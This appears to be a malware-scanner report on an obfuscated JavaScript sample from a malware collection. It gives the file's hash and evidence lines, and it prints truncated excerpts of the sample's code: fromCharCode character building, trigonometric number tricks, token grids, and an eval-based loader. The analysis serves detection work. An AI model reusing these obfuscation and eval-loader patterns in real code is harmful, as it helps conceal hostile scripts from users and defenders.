Suspicious ^80% javascript-malware-collection Download

20151217_31c4e36bfb1f02fa53b12b3d696b42f0.js

Heavily obfuscated eval payload

Numeric trig-round obfuscation expressionNumeric sine-square obfuscation expression

SHA-2565bd7b2d74ee4bb80484bce507558f0d9e07f7d7ff4d3afe19cf2cc39d9ca3da5

Evidence

Builds characters with String.fromCharCode line 2

2:146… 'v','m','&','m','a','r','X','M','M','G','`','w','1','g','z','(',String.fromCharCode(10),'x',']','V','o','(','8',' ','a',')','[','y',' ','l','e',']','[',String.fromCharCode(13),'W','n','8','9','`','_','6','*','{' …

Calls JavaScript toString conversion method lines 4–10

4:44… inIkbt){ePmz=PNqGHQrxiIzfiwVrb(VOZWuUPXbKi,ysjBtjtHvZKnZ);oQpJm=ePmz.toString(RNinIkbt);return oQpJm;}
5function YkTpfYaewJfDBES(gOdmaBqfhPrGEtlJG,FXVYMgSFDuULvUiIgQgoAbzeQdksaFDkWR,UJpnMlDIvjuKpuKFijpocQEDghinfmgNMsp){eval(gOdmaBqfhPrGEtlJG);}
6function ATGCXWVJHeLENyYpSpqALQYUlEWkApTLDjGyeomQZGmmDuiodAKBUX(glcUplEDSIaBX,qNxIpwlHzjkGHf){ return HjDvNXu[DNXfhMLG[XgEJk(glcUplEDSIaBX[qNxIpwlHzjkGHf],(20536+968)/768,(7455+35)/749)]];}
7function pwyjaOM(fDEgRunGCsUUaeXuYyiFGAGwtzUBUimkTOkf) {return !YcugZTywTVj(XyDDvbPYWlJxWVV(fDEgRunGCsUUaeXuYyiFGAGwtzUBUimkTOkf)) && GixEScXNzdRo(fDEgRunGCsUUaeXuYyiFGAGwtzUBUimkTOkf);}
8function YcugZTywTVj(prBmydYBNLHFAz) {return isNaN(prBmydYBNLHFAz);}
9function GixEScXNzdRo(qsQJodAYhbAfQ) {return isFinite(qsQJodAYhbAfQ);}
10function PNqGHQrxiIzfiwVrb(vtYJyWGWnw,cyXjAcwoja) {ret …

Dense indexed short-token grid lines 12–13

12:33… QJKSpAt,FLnlIEeOqGa) {OdVeRmQhbIqRyJ[gKaKXmQJKSpAt]=FLnlIEeOqGa;}
13var P = new Array();P[0]=[];P[0][0]='d';P[0][1]='a';P[0][2]='d';P[0][3]='a';P[0][4]='46';P[0][5]='3d';P[0][6]='42';P[0][7]='14';P[0][8]='40';P[0][9]='14';P[0][10]='25';P[0][11]='14';P[0][12]='16';P[0][13]='47';P[0][14]='3k';P[0][15]='3d';P[0][16]='44';P[0][17]='3g';P[0][18]='3l';P[0][19]='3g';P[0][20]='49';P[0][21]='3 …

Numeric sine-square obfuscation expression lines 19–22

19:25… ],P[3],P[4],P[5]];
20var znMUKTRCq=[];
21function NruewyNBXcdlwkriW(kijDz){fzIFiZflQTn= '';XeuMBBtxNfU=Math.round((Math.pow(Math.sin(938), 2) + Math.pow(Math.cos(938), 2) - 1));while(true){if (XeuMBBtxNfU >= (4+890)/149){break;}znMUKTRCq[XeuMBBtxNfU]=Math.round((Math.pow(Math.sin(744), 2) + Math.pow(Math.cos(744), 2) - 1)); while(true) { if(znMUKTRCq[XeuMBBtxNfU] > kijDz[XeuMBBtxNfU].length-(316+176)/492) { break; } if (pwyjaOM(XgEJk(kijDz[XeuMBBtxNfU][znMUKTRCq[XeuMBBtxNfU]],(8162+14)/292,(6932+688)/762))) {fzIFiZflQTn += ATGCXWVJHeLENyYpSpqALQYUlEWkApTLDjGyeomQZGmmDuiodAKBUX([kijDz[XeuMBBtxNfU][znMUKTRCq[XeuMBBtxNfU]]], Math.round((Math.pow(Math.sin(980), 2) + Math.pow(Math.cos(980), 2) - 1)));} znMUKTRCq[XeuMBBtxNfU]++;}XeuMBBtxNfU++;} return fzIFiZflQTn}
22var OaUSNWMdLJaNVszZMOzIroqVsLeQyGEVS = 'nSffnMqQjCOSWLrueXVnHmGWznlDUGJwqdXO';var oXKgdAjmrxuAfdrMCxTzMEKpKIrnXfCu = 'hSxQtlmsGFLAmPpFlPMGAqVSjTYCZtIffYVn';YkTpfYaewJfDBES(NruewyNBXcdlwkriW(kijDz),OaUSNWMdLJaNVszZMOzIroqVsLeQyGEVS,oXKgdAjmrxuAfdrMCxTz …